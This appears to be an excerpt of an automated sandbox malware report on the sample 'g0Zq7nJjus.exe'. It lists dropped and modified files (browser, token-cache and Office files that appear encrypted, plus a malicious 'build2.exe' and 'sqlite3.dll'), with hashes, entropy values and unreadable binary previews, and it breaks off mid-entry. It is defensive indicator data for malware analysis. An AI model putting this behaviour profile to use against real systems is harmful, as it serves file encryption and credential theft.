Preview:	SQLit..\|.;~K.D>.r..$..NR.A.L.$..)LX.N.....h..(.?K..1`CY........o......C..S..G..R....X./.TU._[c_U..a..Lii...d.....A&.>....C?.-C.c[.....N......{2.\5.......P.%!.1..WE...EP.%D.~y..,...F. .U...d.(..#w0C.1v.{}........`.}k..Md..f.h;.M.3.)./..Z.>...p.O.&c.+..[....a...d.%.&....H.a.#.3Y.4nQ.I......J.y)r..o-..z.A...X..}B.Ga\.#.....;.<V...c.....9.1...^....%Vw.....z/.l.RuVk..0}.@l(.$O.ysb.c.`..8k....L.......b...3.\|.Fw...+Z0.U....f,.U.uj...)y.#4)..S...w&2Z..D.........f........c.A..}%.!].....J....KR....,zI.kr...1. ...XQL.Rq....z..&Wo..%.\|N.-...V....E..);y..&....`..:.i.......(`.b.h.[....v..v}'8..vZ...4E...*9..O9..\..7..PXG..B..u.B"?..d Y........N.31:....&.6C.ai.&..0.#R..@.Z.~....A.bu-(...L.a.).^.F. x.9T.@.Z...\|.a.<..Un...-\.n.p..\|1.X...._..k.:......j....kX........[.N......3.........<..R5...J...S..>.;.B.z.<.xb...)....../d.....:...<6...}.6k.....O5@'#...0.P...)z.8...h$...3..n....n..l....Q..g...n.....LfW6v....: M......?0,"..{.5{h....n........{...].......

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1356
Entropy (8bit):	7.844489088648269
Encrypted:	false
SSDEEP:	24:YuDpPQ6vV6qmEYZnSrBh0hkQsW5epX4toz7z5UR5WCY/ZN3eVLoIwtFC2/y1Atn3:YuDpPQ6vEnZnSrBA1sWApX1z7z5aTY/l
MD5:	28A13F45FAE85FF24DD4AE3223A2AA79
SHA1:	640BE22FFED27E9032C20129E96729AAD9C57EE9
SHA-256:	1FB8001045C72D98DF1488E91CB662E0028DEA71E6BB6968A119CCA495E2DFCF
SHA-512:	0D0FA1F77F89875901B86E98C5A211ED9B5C49F3FD1141F15B7728B46626546C99E3A45810761D01B164E16D2C57EB6A12ACFA9623799DBA3958C2912498229F
Malicious:	false
Preview:	{"RecOd....kE4...6z'1ZzC.Net.U...e.&L..C.<kZ...K.]#1E.>X3..6.2...1.."Q.....y.."......I.HymXp...u1kwO.yM.G5...u......O6~/;.}..lF..$G..s..9S.:)......[.6Ph..&YI.#.(....JR.'...6h...q..'..3S.P...T.6......H..].].O.8...\S..#.6X....G.w.--u...'_0...rom.h.j.PM..O(.Q0..mq....i....Kd..d..G8...0Y...d[=Z...HU....<..\......{.V..z./,t....g%.#..._.....x....vb...&...Y.Yu.F....R..+.kW.A.$........l......Q&..+..q.;....j.7<.d....:.T0_.mo....}.."`...hl..y..oCN..H..@....#.z.....d.j..u...9........vI}4D.&.K....lDc..}v4....z.3.s....=...v"e......+..U.<.^..!....D..\... ...d..M..=...'..i...Is.....&.6FG...c)...>:....i+...p..I....'..J..h....%.+BN...v.Y({...l........+:..&w....1.........'1....}..=.~5.MkN.>J8.lVq....D4(..~......^..%6.....Qc.P...............7....;G../t>.'.J{..e.........nw.:....k./.V..x...-=...X\F...T..w..k.......1.<3yx@[8%../..~.....5gG.pP...}z;.`C.._.OIA....mX..f.."x?..=...E.....$hlsmV\.b....l..%...H.......t.u.."]....0^...M!.J..v...Z.=]..u*...."...,.O1.....I.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929544743596945
Encrypted:	false
SSDEEP:	48:ykLo0dGBO+wQUQQBMPpzu9qmVVUmnSxpflqMj1YCuwoXsDkhK3JroHOo7ELD:DxnQQBMRS9DJ4lqMjiwoK+HUn
MD5:	FC9109ACD1AC47294611C7E2576AA496
SHA1:	F6201E2A12CC3CFD63D50D3AA530BEC71ED94957
SHA-256:	99063F9CF2F9BD1E270E3B322A7FDD68C2E99B432509A735B32CFB76AF1F0F4B
SHA-512:	23D7C61838D542606805FF21B0E461B67B30A2F7717878BD4A801598D1EA6CFD365E6724BC8A071CC094E79655958E2ABC17AC135B5F4D4E04D237EDF199ACB8
Malicious:	false
Preview:	{.".T.n.L...F.....Q.vN..yyf.Wb..\....ST......W...X^.Ek:/..H.......n\|7..6.<I.'...%f.8.....VXx.,.gF..$....IU...=Z%...S;Y....i.......V...D...`7f.Y.8.#.>S..D..ck..\L......fd..%B.#G.......e....po.rA..M......_9.I.vE..&.v..E....5)KY5.)..`..v-....v.p...:.`6.E.w..C...W.1.........m4.$.+.S..U\|-.8\...0..b.%...]..U.%..S.R....q]....M!....)...8.....y....r...h.....e.S....n?{{.....f...Y...S`.y.EoqGkR~...#..>.....RW.#9..5CtI~.!.q;.......GH..(....\.t..}....v..k.K..^..c .......H....gp.p..:@.Gi.H#%J..Q.t.!..R......2l.tlv..!....045...j.N....jV..9Q`+...<.."*.......p...Tn..<.u.d>.tz}.I'.N.o........5..8)......H.f.{.........%.....y.X..:`.....1.p.:....V....."...B-...........(..\|.._.7....?i_..:.XU..<.i.x:.....;Q-v..:G..<.vC....F.o...w.......`}._..%...?...._3V....Q.ta.........1.....a..o'G....x.YzZ ..uiA....... ...%.....:-g.......O..U..I..j..m.hf....SK..?(...#....b,.5..9Ayy!.].V..........%.F..D..G\|.u....[..3;....>..........Y.-......mB.....J......w1#.=..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.926879043271196
Encrypted:	false
SSDEEP:	48:NtDBfjLVHm6Fn3AS2Md+qFiMBX36XPXi7g+gokRWwIwfkKhweJJOtlgID:rpJGWk02Py7gQkRVfNSgMtKU
MD5:	E08D88545F4415B32E49012113208714
SHA1:	FAAD863B292530BC304B8D611302BE30697B0D63
SHA-256:	058F8F45520F2E00BF7AA0CD9BCA8A9E0676CC6F2E1A635E94DD0A0A68A7370C
SHA-512:	22865F36B58745080D7484DCD9F6E32473F7EE87B6F1989BE5201D52F6214563FB94CC8E08BA81F47E107496A41DCCD90F60F1A20D6079EA580E5F4A394FB94C
Malicious:	false
Preview:	{.".T.......b.....S^G..5B8...[....OC{v.......0.H/y.....}.,..Y.$.2...)...$...3.3..C..4......K..H..Jc+5.T0x..l<p..1.\h....".....P....+,........}.._.a0.<.....[=...;..e. ....{.I..n..1..9Al.x.)mh...}w..l.f.['.m.....'q..4K....Y..v.8.............5.)v.,.@..P.G4d.o.m\|...j..:...3..."....^.<..k.`Y.?.....u50.lO...o.l..7P..-.TJ.H..6.zO..k.......s.?..._..7...a.......P..../T........I....Es.....~.u.._..,7..vHz.....=.....'..ZU......Y....1.....Y-V.g..W.........f.=.=.K2.Y......I.............?.......;d....I ...)$.."a......Jh..z6..t..-..6w....z>......x....%~... .. $...I!+....9...w.N.P..2..G.Y.Oh.)..,j....J.b...e......Z..D.........[......s3!0k..K$S2^.T.6...B.XQ<.w.}.; .Q....6..0.m...,K...TU..z*8.e8...ts../K>....MA.e....................#0.#z.U.."..cx..vBUnc;.Z.....\l..x.....xe.Z..KPh.....5.P.i`..F^.5..=..6I.\......}..Y...V.z...G. ...\|.e.d....q....p....k..5u=..9uX.h!;..xT>...@........)......(~.P.......l..yBo..V...J.z...U/l1C[4..7...p....>..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.936266637575964
Encrypted:	false
SSDEEP:	48:8oXqiWXPjzZU+s/fixPWobYqCJ58/hEG4ibWsRE4WT4M7GeKeySu90O/vf57YagS:8oXGdrsSWobqopZ4ibWiWkM7Ge09f3ft
MD5:	AC0AE2CE88DB88D76F820623EE3EB5DF
SHA1:	FFB80A67500E7AA634C8EFCB431E64210851C895
SHA-256:	07268C6E70217DE5F597303CD392752AA7AB3BC36FC29D6FB080FF6B5FC6D4E7
SHA-512:	985D7B686EB0E624E8D03CB9FCF7873F90474F0B0D27A55E2B781A26C50B88F6236BE2060A816AC9D716847AA7C78D338858F5B003384A2E9E7B9884E31751FD
Malicious:	false
Preview:	{.".T.]8.E...)x).!Z..Ce.A.I=X.......[n..V{v...l.+SLa.C..k]...Ub7`....w..........n}VW1...5....0.........V.z..K...u..>...\|...,.%..b.B.Z..6J.#WM..D..).U..L.b..4...zG./.....=h.\|...e.<;......3^.Yd4...l.}..........0L.H.v.s..WNM..q.o.....P......y./?<.8..:.y......g.Y.`ypq['A..g..2$.`!<\..\|F!..b..A.U\|yh....C.Q\fZ.0W{ik..l.]......).B..u....?....-...pp.3.....4.Y)W....-N.xk..i._F...........9F7.P..h.,.S+..j...).....N..........;Y.LB....g..q C&,..?.S-..K.&!...4..u...Cwz+...DI.`....PN........[.>..h...im......w5......t-...Y.......T.Q..w...`.v8.4.X..\&e.h.>D..'.....TaM.m!:.... E.8z.c......M..7QRZ......j...MK.Mu. .S....k(sv.&'3).@R..;.Td...`of..#.t..1pd.P...^.W.2_H...A"jN.......{_..w...W^=..q0z.Z...a....o...jD..r.\fHY.HS...D..H.........i.stCs....ch......Q.B.n...7..\....\|"...5o.......p/l.Q./&4..:./..##...._0z.L...E.....!_..4........k...-!...t@...FV^.N2. i..e.H.%.5.nv...X9L..p.....uh.&.J#z(K..H).e........`..y...^c......@......5.d>]...6..5rd.....[......

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.928469205668181
Encrypted:	false
SSDEEP:	48:qggtSwh4EsS82NAvfBxtu/Mr0Gu7xhXu5kJRtKcrkQPq3Szxo/wtzmLRnSttkJo2:rU4Esn2NwpxtuUr0X+2JRocrBC3SYwtY
MD5:	99D2DE7F2B2131118C98470F63850F0D
SHA1:	7BCCA35A818CD82A616CF350BDC93D0A777A250E
SHA-256:	595A0C8B0E516730C05C80372EB01937058EB1EC92D2C5F9B7DD65C60758596A
SHA-512:	719572E10172DA2ACA4DC4D6A37B06B0F01FB0467B3E5133EBEF197323424B7517CA41EFFF8F1BDF90B960C5593285C9C1217B899B0715970C89DDE555F7FBBB
Malicious:	false
Preview:	{.".T.p.G.dx..D....'\.$............sv..wR.....g....5.5.}.+=..)."._4....f..._...'.>S...w.;(...2O=GcBd2.vX6...U .q1.Z;....\|....U....jY"<\.+..,.!L.M.R....K.....[.K.B-...D..;4.C....GG..y..^%..=.r.r......j..m%..\ns.$:.~...o....A.w..n..* .E....m..t...\|.....<tYqgT......$V.U....e4.]4....P4..l..N# _...P.f.4...4....b.7!k...4/...1.Z..?c{6R......"N.d+:U..........L......v0{..^.....0.....:..S]..]9.*7.(..r......x.%.\..\.Z.9[.....D.fn&.%$3=).&.tq-.n....X..x.%6..[...S.L.-...U}.xYK..U...N~.RY$..z.....o.WZo.M."......}X(~.v:^...@Y0u.W.Y...%"q..j..~..F..c?.H...G..o.D.O.'.>b.t..!.h.b...\......)(..,..N...e..A..O.....v.k.AE...8...N..`.^`X..`g..q...:.zoU##y>'D.{..!.r..T..=c.;.{>.;......{b ...T.@..',be.............#...D.....l...G..I....s1.~8Vm".5Hw.b.+..)o8. Z.....7H.v..E3..........Z...!..".N.n....[.`...2`...F&.H...66...@..f..U.Cv.# ......A.%!.hd.pP...f{.m....h"..[.n+.a'@\.-..Er.Hw.b..w.X....vb.z......M....^..N..N...7.?{{.;.z..'%..+.......(T...IV.....th.N........}.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.9630539237864
Encrypted:	false
SSDEEP:	96:YbocbSHdPRmcFqAmqVejtaejjBgsBUMxmQnBTdZKFuOSsD5/Me+d:YhGfFiYUtaM562BTH57e+d
MD5:	788E6AC0BE3A72F5E2C37D3E5662079B
SHA1:	58C8D9FCD67308F8C7D6ADC8742C7D4F7DF58C7E
SHA-256:	1DF81CF734E92F80880E2EFDA9A04FE74BEDC05F21118F2A8227A7AE6F973E9C
SHA-512:	6F16C24B4048E513E1B25173293D4A43FEB5DC77C2910F424C1F0B204996D4608BAC58EBEC2E7BD9944897D5D89625027EC3E705E37E95844F2D21F0146C851F
Malicious:	false
Preview:	{.".T3....Z..'eg.y..f.d_...=.^.B..;.n.w.....2..e......E.......a.q......s........7J..T.F ...3.....C._....(.k?.,.(ibiLMB.,"WT.>."RO.......`.X........-\{\.......H.e....h..6..s..t.......d......Z.MU....-.fGQ`....].<..[X.[7.vPO)..m.9..N.........K.,......e.........+]..A..Y.9..x.`V.....pU...-e20bI...F.y.....Z...l...o..l\|...I......I.x^@...E.9.`.7..\|Vt.0....,P....!...9....5`.p./QC3..X.O.~...k......gwK.`.].b6.g.....7N/....q.&\|...~........T..VE../2.....A....+.....eh.K$'E.L0..N...$.....sN...U..nc;\..vs[).Q......K.......C...\|H.C..nsg.....}...:C..;.Xm%..IO;.c...Da.D..2...@F...#..!.I....g..[.V...c.@w}h...N..(...).t^.h..}..YWY.......X.bs.....VB...i.l.xP.)%...!JJ-..13wr..+.lx../.N.sf.x.R.Q=4{,o:..Nf..Q.+...$.w.....`J~..^.NJ!dF..G....)3#...U.....08....~._?.Q.Be......> ..d.....:.../{.L,y.5?......k.H_.j$..1...3...{...E.w.-..a..{<.JP.....N...j;..R.^....(..c...*.q=..."....C.........~e...<........[1...nB+..;.+.........nR.....<,.....?....u..j....%.}

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.941446871122991
Encrypted:	false
SSDEEP:	48:WR+vNLC4wC4F08+HnDzMEyI8FVlb+55RkitmX71O8kuaMzw4PWk/IKl1CDuD:WROsF08MDgEyVBO5RkiI3aMzvX/nlQW
MD5:	802C9FB70E004CEFCB40F54E521C772E
SHA1:	51DDC9A3247CDC8E1C86D30205DA4C6A0D71427C
SHA-256:	02DC1DB4D7CA7E0466945D1C36BC8F468E5C974F5C320C19E75F6EFFCD904043
SHA-512:	6B136FFB30A6D1C476BB288C8614885241F0261E07A3D3ECD5F60BC71E26D4A88657A1F2CB18679EB939D8574089722F1E1D9699AD2683BD2BE2386B28EB9D70
Malicious:	false
Preview:	{.".T...5..9$..@5]......LD;=.3..V..[_..b..1m=....Z.F...Gu.J...>...(hP..\ry9~......./e.%..5..V/.&........^.^.1...(...TX.[]1..:....5.1.._.kE.:..H..p........}....c..#{.JG....G.".Q.V.U1m...9.....y..)..r3%.......w..ke.d.u..'..c.....b2A.aR......3.$..:..I=.M......'.kir..;.j7.......NY.9.5.;..w.1=..p.y..B.Y.....%.......h2..\.8.........E....)K.+d~..!..1As4..N.....8y.o..,...V...b...y../.v.Y...z`)....cbm.....kHl..I..}..3.5..e......~.....:.kQZ4..N.}.l.>.o.r..??.J..~......z..(A9^.:..z...yY.S.J.5%N\..... .0.. <....1k...s....3...u.V..%,]c..).Y...a..Z.....Z.'.....}...U.....Z.Ag."D]:.d0PE-.A...?.q+m.q....i._>@..2F..E\|nPw.(-D..(.......y...4.h.`.C`9.]......h.BPfc.q.)h#.7]....."D.....Axi.U...\H.....t~E...L.LG..K..^D......P..9......-\Ksy.....6.o.".....1.eWQ0..C"...=.3..n..B.r.]\|._A..n.xj.c..r4..E..e.....u.u.#.%l_:.C...g......F..-./.#l....Q.kjf/..i).j. y.;.f...+=..W.......:........'...J...H..f....+..dxa$.G..`S.....G..........}.v...mS(.c.4{j,......r..7xc..z...~[

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.914595657402149
Encrypted:	false
SSDEEP:	48:7PX1LfUlSly9gZGFRCTyf11GreIPewjWEhvd2WDHRv96rOvXtD:NZMFN1yewSE9fFlpl
MD5:	BD91C34DD9D4F90BD890BBA91D1A385E
SHA1:	1CCD0CF4454E86383EF24B52E5CB55314A3A9E4E
SHA-256:	3B70E2056E50FA1D12125B96991F79F13AAE16EB75E3A57268B4DDB64B189A01
SHA-512:	FA30FE07A4AD0201D90150D76AAF68EFC3D4DFB1C64B9539DAE8165C1AE43DD68A19057A8E3EAA4906A230B0FA6564A69E5F7F84C095A8124F7C239EBAFA182B
Malicious:	false
Preview:	{.".T....:..0..nk.ui....;.];.8z<7...r.h$^....5.`.a..o0...5q..C.@.o..O5..M.."..9.......o...4&L...O3.....,.e.iV..IE3.}.....ag..z.h.<.&a!!.......`......I.;k....J.\Q.....Ax.....M..M...Y..x;+``:.2...{K.]O\.:.{..v.D`..Ff...p...Hm......@..t..2K..x..\.6-.Eh.#2.zu.....b..S^.....u..".'.T..........^.v..f...l....t..VJ[....ln.J.Fd...W.$S.N6.t..6.b.......B.^.1^\...S(<.H....M.I........J.u......j..[..2..j..m...pvy)..(.&.!........>(...W@....U...K....)r..DB.{=V..e..H.?b\...P[.....{.Z...?,#..).G.eb!.U..#......X...#t....d'q\|H.k... .....\|..W0...w..b.~..#.w4.r..R........._a'W..I.z..:.=..._R.Ba.........KlJ...y.e.B.J........w......y..H.I..l.Rv......._......S...c>.5..)cm.R.`v...>.w.B..:}.E5.%.&......T.._..M..&=....bn^"%Y........n.$..'....uh..$. Tb.....".+./......p...wB....l...(}HB%y...?YfU..\4rIu.2....E?..c.K8.. ...%-s....2.../.l.....n.8gU.P.~,_R4w.p.......W....m.[S{.F?...O..<.7..O?...M.`..($d^7..\|..o...\H=T-.y.[........>./.9[...;...Z.r....P.H....XnQ..y

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\build2[1].exe

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	367104
Entropy (8bit):	6.976668751990096
Encrypted:	false
SSDEEP:	6144:pfLgtyckjU51Vc7lLUvTlR2agQAYNMQSnjbeg:pfMtycGU5/klLUvTlR5Aiuv
MD5:	C4070DA9F9B0581171AF16E681CCDFF8
SHA1:	3FB4182921FDC3ACD7873EBE113AC5522585312A
SHA-256:	26063C78E5418610471A9F3A00A155D7D1E5B29856E1979BA3BDC42681A871D0
SHA-512:	C7569CEA7F1A841E7CAC9CD41287DBA3BCACF2CF9DEE7BECE88800848A7AD5DC4CD2BDC896C7389F0F1144079BBE168048B3F722BCD76FA5D6E14F3081BB6427
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Joe Sandbox View:	Filename: E0tabE4K4r.exe, Detection: malicious, Browse Filename: sbvN2ih5AU.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`...$...$...$...:...5...:...v...:........A..'...$...x...:...%...:...%...:...%...Rich$...........................PE..L......d............................."....... ....@.................................W}......................................\U..(............................................................H......XH..@............ ..t............................text...y........................... ..`.rdata...=... ...>..................@..@.data...\|....`.......P..............@....tls................................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sqlite3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1106998
Entropy (8bit):	6.500333177860392
Encrypted:	false
SSDEEP:	12288:dxylSMUMifofI9ayCvcZMBiMjCodEMdo8R66tCWko5+jsbFcoYuprzpGSgGSrz:d4AMB3caSZMijBI1CWkoj5auF5gGSrz
MD5:	1F44D4D3087C2B202CF9C90EE9D04B0F
SHA1:	106A3EBC9E39AB6DDB3FF987EFB6527C956F192D
SHA-256:	4841020C8BD06B08FDE6E44CBE2E2AB33439E1C8368E936EC5B00DC0584F7260
SHA-512:	B614C72A3C1CE681EBFFA628E29AA50275CC80CA9267380960C5198EA4D0A3F2DF6CFB7275491D220BAD72F14FC94E6656501E9A061D102FB11E00CFDA2BEB45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.MSIL.Crypt.28603.20478.exe, Detection: malicious, Browse Filename: E0tabE4K4r.exe, Detection: malicious, Browse Filename: RKyTx010jW.exe, Detection: malicious, Browse Filename: vV99wd5vMp.exe, Detection: malicious, Browse Filename: sbvN2ih5AU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: kOVwcHSfrR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: PbQI1np5cI.exe, Detection: malicious, Browse Filename: CinaQ61J8d.exe, Detection: malicious, Browse Filename: H88B1esQF0.exe, Detection: malicious, Browse Filename: n8JqyJSXnE.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: buildz.exe, Detection: malicious, Browse Filename: OIpWHA8mdz.exe, Detection: malicious, Browse Filename: XrNOw4sxMG.exe, Detection: malicious, Browse Filename: n1ppfW1lhW.exe, Detection: malicious, Browse Filename: 7yCti1JQXn.exe, Detection: malicious, Browse Filename: EdRzQIfoXb.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...........!.....&...................@.....a.........................0.......:........ .....................................0.......................@...<........................... .......................................................text....%.......&..................`.P`.data...\|'...@...(...,..............@.`..rdata..pD...p...F...T..............@.`@.bss....(.............................`..edata..........,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc........0......................@.0..reloc...<...@...>..................@.0B/4......8...........................@.@B/19.....R............"..............@..B/31.....]'...`...(..................@..B/45......-..........................@..B/57.....\............B..............@.0B/70.....#............N..

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.991393473989088
Encrypted:	true
SSDEEP:	384:8sSZ1mZBRec70KyY8500ziYbBUAb9KyTsqNKUMaXj1wIKmnpCmvNapQ8PQVGegc2:IZs0KyYgB3syTsqNfTmI/OPgSHX
MD5:	ED51C74F7CA756CAA2E77D1588056ECC
SHA1:	55EDE80D6167DF6D33555EBE36B6E972D826C864
SHA-256:	DFF4AC584E9528F533139494C7C0413FE15ABDE31E693672D394900109FF7842
SHA-512:	94F33D0F9032A979F0E0A6FF4E7A78A83B6A174A2EF9E902C0FD53B8AF4435449F17743ED83928744816C436FE95B652AC6DF0C40AF88C9D139B56039C9C64D8
Malicious:	true
Preview:	.....oa..5..p..2`....)u...G.w.GF...N....8.....v[.......o....v...oS.V.e'.X.We.0.z.......a..Z...S........<.-n........\.bR{......E.o.._.j.O.Y[c.)m..{.W)L.H..O....\...R.C..-..4..!....'....n...I;.0...^l..eG.......}._U&..B.bu[.6C.M,..h..sk9..<..3.A..H0.}.....+...I.&..^.63..e.R.4V.U.ge.\|..2..E.......lP....L....B.j..^..-T{J.X......7 .P...[D..\eSu...g....>...A..'+......\]%.E.?..dwfH....<1..$.....O..I....._.=..7.b..0\|....j0.>......9..o.#.n..n..V..,R.......'..(.lo.....uO...Y..x..MC.b.l...:.9...O..Ml..]...........,.....[...4.\|;=^..$g....:#....* .....`.)..h.../g._.\^.9-.u8.$.........s..OS......Kg..m[........EV.R..[bs...;....,.Y<7...Mu....s..-U........(.2.#Jy.dP..trGm.f...C2.......e....D.@...x.._....\|K..DS.....&...Vg,a.0@.}........,.U..t&.1..s.<.$,.v'.Vd.=.Qdz6#,0...=...........Ya>..s...<.\|....X........L.P../...o.qs .{U. ..E...%X....M.!.Q..`O...H.o....jmfb[..o[.v..W.L..\|3@.&A.O...DT..;..6.z...../XU...........4..<.a.@..]...X....kwk2.......li[....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.8761217468563105
Encrypted:	false
SSDEEP:	48:Yab/kVhS959MerPF2mWj4MUDi+Z/rifAkoiYsd9zWQeBD:cS959MezF/WsMUpSAkjk
MD5:	B4E18930E2C28850EFE3547BF28D46BC
SHA1:	3B864CBC6A208FC72E8D4E8DE1AA3860544E3DB7
SHA-256:	FB8D9E8F70CE24DB61C4EDD61350B3BAF14602B0A4AD1F049C289E5839CD37AA
SHA-512:	568DAABEF8D1D048FD639312EA16C09876BCDEDEAD1A5D0990B2D235AA9EBFD3F73841E3359B66FA72B4136E2FBD0F5650260BC9DBC665949C1F1FB886D231D1
Malicious:	false
Preview:	{"spo....b.-.. ,^ \|.......3.eR.......E.^.T.H..&...M...]G..R.zw..F&...X...6.b..%....Es..<L.Q...s.%.z4..tH.C..!....!./BF."....b..I.t .N.8.n..)XC..{1.....XT...g..-b.<`\|.D.S.35...j.ye....0......-............8......(MKSf92......s1........Z.yn.;.l.......F....v..s.0.Q...c.h.....S6<Vc...=..7m...M.`.....m.......5..?P.Y....Z?..l..G.D..R..=CCLK~......hq...WicZ.\..\.X..},..!...r@.c.<............VP.7_@...E..m..."..c(..Yf}k..q.'N.T.2..dH.U...U..\|l...\|.........F..Ht~....Uk.u...(.T....lFD@q.<,p@..d)..}...<z.cC.)..Ja..W..H...TtV.......J.#\'8j...]%.....9..U.0:.+...I .n..M.. .1..%;\|.../}qG...VF17S,...=..qb..l~.X$v....\.g.v8I.....u.L...(.7...."(...Z...a..;.p.y.`.f..s..q.+e)....{.....pO..J.S.5....P.........&..ON.b{i....8.x.R.H...8t.Q....>\#..p..6.:M.7..vd..@@..Pg.%X...$.......Y.A.....P;.!.._..[=...a2..3...^.......E...Vc.....k..,.6.?.!L.'..-.e.....#G.!X~.X............:.......$A.Q^.h.5/x.F.....1..O...Z#...\n......~.a.UM.....n._.o...Q...R)..SK.}.c2!L,.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	modified
Size (bytes):	7915
Entropy (8bit):	7.979944259900948
Encrypted:	false
SSDEEP:	192:3AeyaqvTix4jTUeIEifiuNwExCcXUtAyTwckMZKpaZp44vnGrOwwN:3saqeOTIMYxCcXqA/dMYpaMGnG9wN
MD5:	FFC29A3A4AD934C8FD377A71EC734E53
SHA1:	82BB8E90A354B86DA9BB95838109360A5B0933B0
SHA-256:	423329090F204E46382B72AD2E8C7607CD4BACD45AACFFA5C65B6CF42DB8E708
SHA-512:	2AB799256D8EDB86EA514CA5076E9A7B08864E7560A9621C1BDCC7F18267F770E6F749E597D56AB4135033510502F532D67BCA9AFA74E99E45D10831B1B94FEC
Malicious:	false
Preview:	# Thi.-.-.)..F...5..^.f..N..y..cB......7.k.A.. \|.....I....Z...ch.........r7.p4...."\.jg.R..z+......n.h.C.H.<?^.......t.r...'.....t.C7..H...O..W..%./......v.b.P.8D...'o._.x....A.hj.....xW.T.Y.0...gWc...u..7.YQ!Dmk.....\|.7.:.~...o...g...\I..E..-.:y..1..M0P..f...:6-..@....^..$w..wi.39.SeI..$..0..D...N...X.....a...9/.W....T..a.e....._t1.s@:.Y.Z.T.5..\|.Y.a....B....Y.......i...x.q.l..M....K.......[..N.t...WB...u........!%.<...1....M..x.%m..3...Eh.C. ...'I....z..~L..yZ8`i..e.t..{....b,...."!;.@[.]..e.3.Rr......Z./....AJ".{....x..`d.G.].Gr@.N..1"Vjz.R..N'..\|(_\P...sm..u....^t.R....V....i....6........h.Q....V....ee..46#......}...X...z4.0T(.....M"....3s...d.9..E1...."<.U..y..L..y.4..w......-.."......M.P...DW.`.5.............~..7F9hK.x..&..t..bA.c......F....:.a...@.@,C.P...4.......Y..G0.....R..J.....9.XZg.3....C8......r:B.b..............=..._. ........./4W.,.`3...r.Y.].....5b.~)..)L.......Z...I.t.2.4."..V.G.J.$.S...'....../.~.......+I.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\EEVQAF7E\sharedscripts-939520eada[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	53528
Entropy (8bit):	7.996608212785851
Encrypted:	true
SSDEEP:	1536:3hhKpIvKch4ZIXoka420R96EsUSTaYwbGMi:3OpIgZIXokOO9psUS+Ywbvi
MD5:	0259E5FF7381C4969B414A49493AF92C
SHA1:	D4051FD0993D478C5D3465E593D552F411BB11CA
SHA-256:	FD47D9AA4EF7B70BF07D9018EFC7BC1F811E8DA1642E99D5A881EDFB33041C7E
